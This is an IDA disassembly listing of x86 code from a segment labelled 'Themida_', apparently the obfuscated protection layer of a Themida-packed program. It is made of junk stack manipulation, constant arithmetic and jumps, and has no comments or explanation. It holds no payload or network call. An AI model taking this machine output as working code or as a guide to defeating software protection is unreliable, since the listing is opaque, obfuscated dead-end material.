		sub	ebx, 57003B9Ch
		neg	ebx
		jmp	loc_5ACE42
; ---------------------------------------------------------------------------


loc_5A74E3:				; CODE XREF: Themida_:005A00F6j
					; Themida_:005AD52Bj
		inc	edx
		push	ebx
		jmp	loc_5AC513
; ---------------------------------------------------------------------------


loc_5A74EA:				; CODE XREF: Themida_:005AE5A9j
		pop	esi
		add	esi, 720D4C3Bh
		push	eax
		jmp	loc_5AA78E
; ---------------------------------------------------------------------------


loc_5A74F7:				; CODE XREF: Themida_:005AC797j
		push	edx
		mov	edx, esp
		jmp	loc_5A2A21
; ---------------------------------------------------------------------------


loc_5A74FF:				; CODE XREF: Themida_:005A8B7Cj
		shr	ebp, 1
		jz	loc_5AA0F2
		jmp	loc_59D0FE
; ---------------------------------------------------------------------------


loc_5A750C:				; CODE XREF: Themida_:005AF3A1j
		or	ebx, 2B3D7309h
		jmp	loc_59C6B2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7526:				; CODE XREF: Themida_:005A343Fj
					; Themida_:005AFD04j
		pop	edx
		sub	esi, 46DA43BCh
		push	esi
		not	dword ptr [esp]
		pop	esi
		and	esi, 6FAE3E3Eh
		dec	esi
		xor	esi, 6AFC79CCh
		jmp	loc_5ADD9E
; ---------------------------------------------------------------------------


loc_5A7544:				; DATA XREF: Themida_:005986DCo
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	466Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5AB578
; ---------------------------------------------------------------------------


loc_5A7568:				; CODE XREF: Themida_:005A0794j
		mov	[esp], ebx
		mov	ebx, 2EFF46E5h
		mov	esi, 0DC4BD921h
		jmp	loc_5AE132
; ---------------------------------------------------------------------------


loc_5A757A:				; CODE XREF: Themida_:00599268j
		push	eax
		push	ebx
		mov	ebx, 46044114h
		jmp	loc_5A715B
; ---------------------------------------------------------------------------


loc_5A7586:				; CODE XREF: Themida_:loc_5A4F7Aj
		add	ecx, 70359D1Ch
		and	edi, ecx
		jmp	loc_59DF14
; ---------------------------------------------------------------------------


loc_5A7593:				; CODE XREF: Themida_:0059D01Dj
		push	2C4Fh
		mov	[esp], ebx
		mov	bh, 8Eh
		inc	bh
		jmp	loc_59E80A
; ---------------------------------------------------------------------------


loc_5A75A4:				; CODE XREF: Themida_:005AEF3Ej
		sub	ecx, 0B74A92D7h
		mov	esi, ecx
		jmp	loc_59B3F4
; ---------------------------------------------------------------------------


loc_5A75B1:				; CODE XREF: Themida_:005A0EE1j
		mov	eax, esp
		jmp	loc_5A02ED
; ---------------------------------------------------------------------------


loc_5A75B8:				; CODE XREF: Themida_:0059D132j
					; Themida_:005AF029j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 53A13037h
		push	ebx
		sub	dword ptr [esp], 2601137h
		pop	ebp
		jmp	loc_599AC7
; ---------------------------------------------------------------------------


loc_5A75CF:				; CODE XREF: Themida_:005AAB07j
		push	ebx
		mov	ebx, 0EBD7338h
		jmp	loc_5AD905
; ---------------------------------------------------------------------------


loc_5A75DA:				; CODE XREF: Themida_:005A1B27j
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A75E3:				; CODE XREF: Themida_:0059EE90j
		sub	ebx, 4FD109E2h
		jmp	loc_5A9D82
; ---------------------------------------------------------------------------


loc_5A75EE:				; CODE XREF: Themida_:00598A38j
		add	esi, eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_59CE4E
; ---------------------------------------------------------------------------


loc_5A75F9:				; CODE XREF: Themida_:005A56B2j
					; Themida_:005A8F7Cj
		shr	edi, 1
		jnz	loc_5A575F
		or	edi, 152627D7h
		jmp	loc_5A9A0B
; ---------------------------------------------------------------------------
		sub	esp, 4


loc_5A760F:				; CODE XREF: Themida_:005A27BDj
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5AE058
; ---------------------------------------------------------------------------


loc_5A761A:				; CODE XREF: Themida_:005AE8EEj
		push	23FFh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_598B23
; ---------------------------------------------------------------------------


loc_5A7628:				; CODE XREF: Themida_:005A68C3j
		mov	ebp, edi
		jmp	loc_5A73BE
; ---------------------------------------------------------------------------


loc_5A762F:				; CODE XREF: Themida_:00598E04j
		push	edx
		mov	edx, 577F3EF0h
		not	edx
		sub	edx, 74B15EE2h
		mov	ebp, edx
		jmp	loc_5AD26B
; ---------------------------------------------------------------------------


loc_5A7644:				; CODE XREF: Themida_:005A7CF6j
		mov	ecx, 3CA029B4h
		jmp	loc_5A82E2
; ---------------------------------------------------------------------------


loc_5A764E:				; CODE XREF: Themida_:005A5613j
		jmp	loc_5AF79E
; ---------------------------------------------------------------------------


loc_5A7653:				; CODE XREF: Themida_:005AB3DFj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A95EA
; ---------------------------------------------------------------------------


loc_5A765E:				; CODE XREF: Themida_:005A8454j
		push	dword ptr [esp]
		jmp	loc_59E3A0
; ---------------------------------------------------------------------------


loc_5A7666:				; CODE XREF: Themida_:005A776Fj
		shl	eax, 6
		jp	loc_599FF2
		inc	eax
		jmp	loc_5A6489
; ---------------------------------------------------------------------------
		mov	bh, ah
		pop	eax
		push	eax


loc_5A7679:				; CODE XREF: Themida_:005AC3C4j
		pop	eax
		mov	dl, bh
		jmp	loc_5992E8
; ---------------------------------------------------------------------------


loc_5A7681:				; CODE XREF: Themida_:005AF1B4j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5AA5C0
; ---------------------------------------------------------------------------


loc_5A7693:				; CODE XREF: Themida_:005A4893j
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 4
		jmp	loc_59D3F2
; ---------------------------------------------------------------------------


loc_5A76A7:				; CODE XREF: Themida_:005A4A74j
		and	edx, 34936822h
		add	edx, 0EF67F7E4h
		xor	ecx, edx
		jmp	loc_5A16C4
; ---------------------------------------------------------------------------


loc_5A76BA:				; CODE XREF: Themida_:005A247Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59FB45
; ---------------------------------------------------------------------------


loc_5A76CB:				; CODE XREF: Themida_:0059D255j
		push	eax
		jmp	loc_5AD543
; ---------------------------------------------------------------------------


loc_5A76D1:				; CODE XREF: Themida_:005AC6DAj
		sub	ebx, 39B30B1Fh
		xor	ebx, 167F5288h
		jnp	loc_59C829
		dec	ebx
		xor	ebx, 13FD51D0h
		mov	edx, esi
		push	esi


loc_5A76ED:				; CODE XREF: Themida_:005A11C3j
		push	ecx
		mov	cx, 0D52h
		push	cx
		not	word ptr [esp]
		pop	cx
		jmp	loc_59EE95
; ---------------------------------------------------------------------------


loc_5A76FF:				; CODE XREF: Themida_:005A066Cj
		not	edx
		sub	edx, 310C1FEBh
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59AAEA
; ---------------------------------------------------------------------------


loc_5A7712:				; CODE XREF: Themida_:005A5B98j
					; Themida_:005AEEFEj
		mov	ah, ch
		push	ebx
		mov	bh, ah
		mov	dh, bh
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	bh, dh
		pop	edx
		pop	ecx
		pop	edx
		xor	bh, 41h
		add	cl, bh
		jmp	loc_5AD30C
; ---------------------------------------------------------------------------


loc_5A7733:				; CODE XREF: Themida_:loc_5A5C3Cj
		xor	ah, 5
		push	7878h
		jmp	loc_59BCAD
; ---------------------------------------------------------------------------


loc_5A7740:				; CODE XREF: Themida_:0059F241j
		mov	ecx, 4
		push	ebp
		mov	ebp, 51FD46EBh
		sub	esi, ebp
		pop	ebp
		add	esi, ecx
		push	ebp
		mov	ebp, 7F6A7200h
		or	ebp, 61F90402h
		shl	ebp, 5
		jmp	loc_5AF312
; ---------------------------------------------------------------------------


loc_5A7764:				; CODE XREF: Themida_:005A026Dj
		mov	[esp], eax
		mov	eax, 636E59D7h
		shl	eax, 5
		jz	loc_5A7666
		shl	eax, 6
		jp	loc_59B287
		inc	eax
		jo	loc_5999BF
		shl	eax, 5
		mov	cl, ch


loc_5A778A:				; CODE XREF: Themida_:005A873Fj
		sub	ecx, edx
		jmp	loc_5AAADE
; ---------------------------------------------------------------------------


loc_5A7791:				; CODE XREF: Themida_:005A66D4j
		xor	ebx, 0D381BFFh
		push	ebx
		mov	ebx, 4ACF5386h
		and	ebx, 52984D7Dh
		xor	ebx, 686E232Ch
		add	esi, ebx
		pop	ebx
		jmp	loc_5A4DD2
; ---------------------------------------------------------------------------


loc_5A77B1:				; CODE XREF: Themida_:005A6A5Dj
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5A8018
; ---------------------------------------------------------------------------


loc_5A77BE:				; DATA XREF: Themida_:0059883Co
		lodsb
		jmp	loc_59A688
; ---------------------------------------------------------------------------


loc_5A77C4:				; CODE XREF: Themida_:005A8A35j
		jmp	loc_59F685
; ---------------------------------------------------------------------------


loc_5A77C9:				; CODE XREF: Themida_:0059E953j
		xor	edx, 5414589Ch
		jz	loc_5AD329
		xor	edx, 463A3169h
		jle	loc_5ADAD2
		add	edx, 4DB90B57h
		jz	loc_5A4863
		jmp	loc_5A2D7E
; ---------------------------------------------------------------------------


loc_5A77F2:				; CODE XREF: Themida_:005AA8CBj
		js	loc_59CF45
		xor	esi, 2DDB5F7Eh
		xor	esi, 302E7A90h
		jmp	loc_5A8BFD
; ---------------------------------------------------------------------------


loc_5A7809:				; CODE XREF: Themida_:005A93B2j
		pop	edi
		push	edx
		pop	ecx
		jmp	loc_5A370E
; ---------------------------------------------------------------------------


loc_5A7811:				; CODE XREF: Themida_:005A687Cj
		neg	eax
		dec	eax
		xor	eax, 20382EADh
		shr	eax, 3
		jmp	loc_5A2E83
; ---------------------------------------------------------------------------


loc_5A7821:				; CODE XREF: Themida_:005A3059j
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	edi, [esp]
		add	esp, 4
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7841:				; CODE XREF: Themida_:005AB39Aj
		pop	edi
		jmp	loc_5A8332
; ---------------------------------------------------------------------------


loc_5A7847:				; CODE XREF: Themida_:00598DD8j
					; Themida_:0059D20Aj
		push	edx
		mov	edx, 51D4069Dh
		jmp	loc_5AF8DB
; ---------------------------------------------------------------------------


loc_5A7852:				; CODE XREF: Themida_:005AA997j
		and	bl, 70h
		jmp	loc_59982C
; ---------------------------------------------------------------------------


loc_5A785A:				; CODE XREF: Themida_:005A1CA5j
		push	ebx
		mov	bh, ch
		mov	al, bh
		jmp	loc_59EDE9
; ---------------------------------------------------------------------------


loc_5A7864:				; CODE XREF: Themida_:005AE32Ej
		dec	edi
		add	edi, 0FFFFFFFFh
		xor	edi, 0C6F88E8Dh
		jmp	loc_59CA91
; ---------------------------------------------------------------------------


loc_5A7873:				; CODE XREF: Themida_:0059A5F4j
		add	edi, ebx
		push	eax
		jmp	loc_5A6A54
; ---------------------------------------------------------------------------


loc_5A787B:				; CODE XREF: Themida_:005AADE4j
		mov	edx, ebx
		jmp	loc_59E0C4
; ---------------------------------------------------------------------------


loc_5A7882:				; CODE XREF: Themida_:loc_5A5C30j
		add	edi, 0A8312E9h
		mov	esi, edi
		pop	edi
		mov	ecx, 3D77450Ah
		jmp	loc_5A2C4C
; ---------------------------------------------------------------------------


loc_5A7895:				; CODE XREF: Themida_:00599029j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	4994h
		mov	[esp], ecx
		push	2D23h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, 7FDD34B9h
		push	edx
		mov	edx, 6FB80F9Ch
		shl	edx, 6
		sub	edx, 0A517A003h
		add	ecx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AA827
; ---------------------------------------------------------------------------


loc_5A78E9:				; CODE XREF: Themida_:0059DBA0j
		push	dword ptr [esp]
		jmp	loc_598EBD
; ---------------------------------------------------------------------------


loc_5A78F1:				; CODE XREF: Themida_:005A3D4Dj
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5A2C1A
; ---------------------------------------------------------------------------


loc_5A78FE:				; CODE XREF: Themida_:005A2B41j
		add	dword ptr [esp], 0AE2429Dh
		pop	eax
		jmp	loc_5AC920
; ---------------------------------------------------------------------------


loc_5A790B:				; CODE XREF: Themida_:0059D13Dj
					; Themida_:0059F32Aj
		pop	ebp
		add	edi, ebx
		add	edi, 0CB305C7h
		jmp	loc_59AF63
; ---------------------------------------------------------------------------


loc_5A7919:				; CODE XREF: Themida_:005A87EBj
		push	ecx
		push	3082757Ah
		pop	ecx
		push	edx
		jmp	loc_59DC94
; ---------------------------------------------------------------------------


loc_5A7926:				; CODE XREF: Themida_:0059A7D0j
		mov	esp, [esp]
		sub	edi, 0EE41626h
		add	edi, edx
		add	edi, 0EE41626h
		jmp	loc_5A19DC
; ---------------------------------------------------------------------------


loc_5A793C:				; CODE XREF: Themida_:005A1DA2j
					; Themida_:loc_5A324Aj
		jmp	loc_59E8FC
; ---------------------------------------------------------------------------


loc_5A7941:				; CODE XREF: Themida_:005AB16Bj
		sub	ecx, 77257653h
		pop	edi
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5AE816
; ---------------------------------------------------------------------------


loc_5A795A:				; CODE XREF: Themida_:005A98C9j
		push	small 4F77h
		mov	[esp], ax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7967:				; CODE XREF: Themida_:0059E868j
		neg	edi
		js	loc_5AD9D7
		jmp	loc_5A88DB
; ---------------------------------------------------------------------------
		inc	dh
		xor	dh, 23h
		xor	al, dh
		push	esp


loc_5A797C:				; CODE XREF: Themida_:005A6397j
		mov	ecx, [esp]
		add	esp, 4
		push	7A89h
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5A6CFD
; ---------------------------------------------------------------------------


loc_5A7993:				; CODE XREF: Themida_:005A1F90j
		xchg	esi, [esp]
		pop	esp
		push	495h
		mov	[esp], ebx
		push	eax
		sub	dword ptr [esp], 7CB44DC6h
		pop	ebx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_59AAF4
; ---------------------------------------------------------------------------


loc_5A79B3:				; CODE XREF: Themida_:005A5BB2j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------


loc_5A79C7:				; CODE XREF: Themida_:005A0566j
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 66B420A1h
		and	eax, ebx
		pop	ebx
		or	eax, 2F40389Ch
		jmp	loc_59B833
; ---------------------------------------------------------------------------


loc_5A79E2:				; CODE XREF: Themida_:0059C006j
					; Themida_:0059F4BDj
		pop	edx
		add	[esp+4], ebp
		jmp	loc_5A6157
; ---------------------------------------------------------------------------


loc_5A79EC:				; CODE XREF: Themida_:005A9B19j
		jns	loc_59BC85
		xor	dl, 8Ah
		jmp	loc_59C254
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		pop	esp


loc_5A79FE:				; CODE XREF: Themida_:005994A9j
		sub	esi, 5C002DD0h
		neg	esi
		add	esi, 421F1E65h
		sub	esi, 2C9597DEh
		jmp	loc_5AB12E
; ---------------------------------------------------------------------------


loc_5A7A17:				; CODE XREF: Themida_:005A483Ej
		pop	eax
		push	edi
		mov	edi, 4
		jmp	$+5
		add	eax, edi
		jmp	loc_59A070
; ---------------------------------------------------------------------------


loc_5A7A2A:				; CODE XREF: Themida_:005A1EA6j
		jmp	loc_5A3684
; ---------------------------------------------------------------------------


loc_5A7A2F:				; CODE XREF: Themida_:005A6683j
		add	esp, 4
		jmp	loc_59A541
; ---------------------------------------------------------------------------


loc_5A7A3A:				; CODE XREF: Themida_:005A4DC0j
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	63F77192h
		pop	edi
		dec	edi
		jmp	loc_5AF557
; ---------------------------------------------------------------------------


loc_5A7A50:				; CODE XREF: Themida_:005A10A3j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7DF51A37h
		add	ebx, 820AE5CDh
		add	esi, 4D3318CCh
		sub	esi, ebx
		sub	esi, 4D3318CCh
		jmp	loc_5A4713
; ---------------------------------------------------------------------------


loc_5A7A95:				; CODE XREF: Themida_:0059AD21j
					; Themida_:005A52A1j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7A9A:				; CODE XREF: Themida_:0059D45Ej
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_598F74
; ---------------------------------------------------------------------------


loc_5A7AB4:				; CODE XREF: Themida_:005A734Aj
		xor	dword ptr [esp], 6FCE04D3h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, 6FCE04D3h
		xor	edx, esi
		jmp	loc_59B82D
; ---------------------------------------------------------------------------


loc_5A7AE5:				; CODE XREF: Themida_:005AD8D3j
		add	esp, 4
		push	ebx
		jmp	loc_5AF0E3
; ---------------------------------------------------------------------------


loc_5A7AF1:				; CODE XREF: Themida_:0059C0BAj
		pop	ecx
		push	ecx
		mov	cl, 0BEh
		not	cl
		neg	cl
		shr	cl, 7
		shl	cl, 2
		sub	cl, 0A4h
		sub	dh, cl
		pop	ecx
		push	ecx
		mov	ch, bl
		mov	bl, dh
		mov	dh, ch
		pop	ecx
		not	bl
		xor	dh, bl
		xor	bl, dh
		xor	dh, bl
		shl	dh, 5
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 0A3h
		and	bl, 37h
		jmp	loc_5AF936
; ---------------------------------------------------------------------------


loc_5A7B29:				; CODE XREF: Themida_:0059E457j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59AC3B
; ---------------------------------------------------------------------------


loc_5A7B41:				; CODE XREF: Themida_:005ABD44j
		or	dl, 4Dh
		jmp	loc_5A92EC
; ---------------------------------------------------------------------------


loc_5A7B49:				; CODE XREF: Themida_:0059D2E1j
		neg	esi
		jns	loc_59E805
		jmp	loc_59A29F
; ---------------------------------------------------------------------------


loc_5A7B56:				; CODE XREF: Themida_:0059EB9Cj
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		jmp	loc_5ACFA7
; ---------------------------------------------------------------------------
		dd 0B850E789h, 4, 5258C701h, 0E904EC83h, 0FFFF501Bh
; ---------------------------------------------------------------------------


loc_5A7B80:				; CODE XREF: Themida_:005A1654j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5A0090
; ---------------------------------------------------------------------------


loc_5A7B8E:				; CODE XREF: Themida_:005A365Cj
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5A5236
; ---------------------------------------------------------------------------


loc_5A7B9A:				; CODE XREF: Themida_:0059D30Bj
		add	eax, 7BE52628h
		jmp	loc_5A6AF4
; ---------------------------------------------------------------------------


loc_5A7BA4:				; CODE XREF: Themida_:005AC234j
		push	5A0A0A3Eh
		push	dword ptr [esp]
		jmp	loc_5A9913
; ---------------------------------------------------------------------------


loc_5A7BB1:				; CODE XREF: Themida_:005A8F4Cj
		add	esp, 4
		jmp	loc_5A4FB6
; ---------------------------------------------------------------------------


loc_5A7BB9:				; CODE XREF: Themida_:0059B218j
		push	2A65h
		mov	[esp], esp
		push	ebp
		jmp	loc_5A0511
; ---------------------------------------------------------------------------


loc_5A7BC7:				; CODE XREF: Themida_:0059C938j
		add	edx, ebx
		pop	ebx
		pop	eax
		add	edx, 0C84EDA3Ah
		jmp	loc_59A3F2
; ---------------------------------------------------------------------------


loc_5A7BD6:				; CODE XREF: Themida_:005AD071j
		jnz	loc_5AF3D2
		xor	edx, 65B5EAEFh
		xor	esi, edx
		add	dl, 6Ch
		push	esi


loc_5A7BE8:				; CODE XREF: Themida_:005ABDA2j
		jnp	loc_5A0202
		shr	edx, 1
		jnz	loc_5A7EDE
		mov	ebp, edi


loc_5A7BF8:				; DATA XREF: Themida_:005986F8o
		mov	cx, [esp]
		push	5E31h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	598Ch
		mov	[esp], esp
		jmp	loc_5A6C54
; ---------------------------------------------------------------------------


loc_5A7C1A:				; CODE XREF: Themida_:loc_5A8AA9j
		inc	ebp
		jg	loc_5AC360
		push	eax
		mov	eax, 1
		jmp	loc_5A6A74
; ---------------------------------------------------------------------------
		mov	dh, cl
		mov	edi, ebp


loc_5A7C30:				; CODE XREF: Themida_:005A83DDj
		add	eax, 19D10A72h
		xor	eax, 36B30A8Dh
		jmp	loc_5A5AFD
; ---------------------------------------------------------------------------


loc_5A7C3F:				; CODE XREF: Themida_:005A2236j
		add	eax, 17BA1004h
		add	eax, ebx
		sub	eax, 17BA1004h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7C6D:				; CODE XREF: Themida_:005A2363j
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		push	esp
		jmp	loc_5AA6C3
; ---------------------------------------------------------------------------


loc_5A7C8A:				; CODE XREF: Themida_:005A71F3j
					; DATA XREF: Themida_:00598734o
		mov	cx, [esp]
		push	6765h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_5A5DB9
; ---------------------------------------------------------------------------


loc_5A7C9D:				; CODE XREF: Themida_:0059AAC8j
		not	ebx
		push	ecx
		mov	ecx, 0D953D005h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A8C4D
; ---------------------------------------------------------------------------


loc_5A7CAD:				; CODE XREF: Themida_:0059AA0Dj
		push	cx
		jmp	loc_5AEFE9
; ---------------------------------------------------------------------------


loc_5A7CB4:				; CODE XREF: Themida_:005AF854j
		jo	loc_5A6042
		neg	ah
		jge	loc_5AC80E
		xor	ah, 0BCh
		jle	loc_5AAFB5
		push	edx
		mov	dl, 0D2h
		add	dl, 0D4h
		dec	dl
		jmp	loc_5A9351
; ---------------------------------------------------------------------------


loc_5A7CD8:				; CODE XREF: Themida_:0059D8EFj
		mov	edx, [esp]
		jmp	loc_5998B2
; ---------------------------------------------------------------------------


loc_5A7CE0:				; CODE XREF: Themida_:005AC7FAj
		or	bl, 95h
		jmp	loc_5A11C8
; ---------------------------------------------------------------------------


loc_5A7CE8:				; CODE XREF: Themida_:00598C33j
		mov	[esp], edi
		mov	edi, 42954D57h
		shl	edi, 7
		shr	edi, 1
		push	ecx
		jmp	loc_5A7644
; ---------------------------------------------------------------------------


loc_5A7CFB:				; DATA XREF: Themida_:00598708o
		lodsb
		xor	al, bl
		push	ecx
		jmp	loc_5A0FF0
; ---------------------------------------------------------------------------


loc_5A7D04:				; CODE XREF: Themida_:005A4FBDj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A9EFC
; ---------------------------------------------------------------------------


loc_5A7D24:				; CODE XREF: Themida_:005ADCC9j
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_59BEE3
; ---------------------------------------------------------------------------


loc_5A7D31:				; CODE XREF: Themida_:005ABB08j
		add	ebp, 4
		push	651Dh
		mov	[esp], edi
		push	edx
		push	edi
		push	5EC47A83h
		jmp	loc_5A851B
; ---------------------------------------------------------------------------


loc_5A7D4B:				; CODE XREF: Themida_:005A0713j
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A6489
; ---------------------------------------------------------------------------


loc_5A7D59:				; CODE XREF: Themida_:0059D697j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_598D7F
; ---------------------------------------------------------------------------


loc_5A7D69:				; CODE XREF: Themida_:005AE0A3j
		add	eax, 37AE1F7Eh
		add	eax, ebx
		sub	eax, 37AE1F7Eh
		add	eax, 64AD591Ah
		add	eax, 6A013A72h
		push	12ACh
		mov	[esp], edx
		push	3512692Ah
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_5A9D58
; ---------------------------------------------------------------------------


loc_5A7D9A:				; CODE XREF: Themida_:005ADA5Cj
		mov	[esp], edx
		jmp	loc_5ABA4E
; ---------------------------------------------------------------------------


loc_5A7DA2:				; CODE XREF: Themida_:005AC7B1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A0415
; ---------------------------------------------------------------------------


loc_5A7DB0:				; CODE XREF: Themida_:005A674Bj
		pop	edi
		jmp	loc_5AB270
; ---------------------------------------------------------------------------


loc_5A7DB6:				; CODE XREF: Themida_:005A0751j
					; Themida_:005A4CC9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	61F1h
		mov	[esp], edi
		mov	edi, esp
		push	5385h
		mov	[esp], eax
		mov	eax, 49C77300h
		and	eax, 19D4725Fh
		xor	eax, 3701756Ch
		not	eax
		shl	eax, 8
		shr	eax, 6
		xor	eax, 0EBE248h
		add	edi, eax
		jmp	loc_59FAF3
; ---------------------------------------------------------------------------


loc_5A7DFB:				; CODE XREF: Themida_:0059EEBEj
		push	6CD6h
		jmp	loc_5A41EF
; ---------------------------------------------------------------------------


loc_5A7E05:				; CODE XREF: Themida_:005A887Cj
		not	edi
		xor	edi, 7883327Eh
		sub	edi, 0F875E2Eh
		jmp	loc_5AEF71
; ---------------------------------------------------------------------------


loc_5A7E18:				; CODE XREF: Themida_:005AB238j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5A2513
; ---------------------------------------------------------------------------


loc_5A7E21:				; CODE XREF: Themida_:005A5BA2j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_59E7FD
		push	49A8h
		mov	[esp], edx
		mov	edx, 2CF6D13h
		jmp	loc_5A93C0
; ---------------------------------------------------------------------------


loc_5A7E3D:				; CODE XREF: Themida_:0059E221j
		mov	esi, 44645DE7h
		jmp	loc_59FEAB
; ---------------------------------------------------------------------------


loc_5A7E47:				; CODE XREF: Themida_:0059AAB2j
		push	edi
		mov	edi, 3D813C4Ah
		jmp	loc_598C9F
; ---------------------------------------------------------------------------


loc_5A7E52:				; CODE XREF: Themida_:0059E355j
					; DATA XREF: Themida_:005986D4o
		mov	ax, [esp]
		push	ebx
		sub	esp, 4
		jmp	loc_5AE15F
; ---------------------------------------------------------------------------


loc_5A7E62:				; CODE XREF: Themida_:0059AF87j
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	edi
		jmp	loc_5ACAEA
; ---------------------------------------------------------------------------


loc_5A7E7F:				; CODE XREF: Themida_:0059FFD8j
		xor	edx, 42500A84h
		push	ebp
		mov	ebp, 3B357E99h
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------


loc_5A7E90:				; CODE XREF: Themida_:005A081Bj
		add	eax, edi
		push	edx
		mov	dl, cl
		jmp	loc_5A2B87
; ---------------------------------------------------------------------------


loc_5A7E9A:				; CODE XREF: Themida_:00598FFEj
		sub	esp, 4
		jmp	loc_5A4C04
; ---------------------------------------------------------------------------


loc_5A7EA2:				; CODE XREF: Themida_:0059C824j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	7164h
		mov	[esp], edi
		mov	edi, esp
		push	3CE9h
		mov	[esp], eax
		mov	eax, 52B6132Fh
		add	eax, 3E65348Dh
		jb	loc_59A00F
		add	eax, 75C842E6h
		jp	loc_5ADEA9
		jmp	loc_599282
; ---------------------------------------------------------------------------


loc_5A7EDE:				; CODE XREF: Themida_:0059FE8Aj
					; Themida_:005A7BF0j
		push	329F3103h
		pop	edi
		neg	edi
		jp	loc_599563
		jmp	loc_5A2483
; ---------------------------------------------------------------------------


loc_5A7EF1:				; CODE XREF: Themida_:005AEEB4j
		jp	loc_59E614
		jmp	loc_5AF2C0
; ---------------------------------------------------------------------------


loc_5A7EFC:				; CODE XREF: Themida_:005A68FCj
		push	eax
		push	ebx
		push	edi
		jmp	loc_59DABB
; ---------------------------------------------------------------------------


loc_5A7F04:				; CODE XREF: Themida_:005AB824j
		mov	esp, [esp]
		push	25EEh
		mov	[esp], edx
		mov	edx, 4
		push	edx
		mov	edx, 4739191Dh
		add	ebx, edx
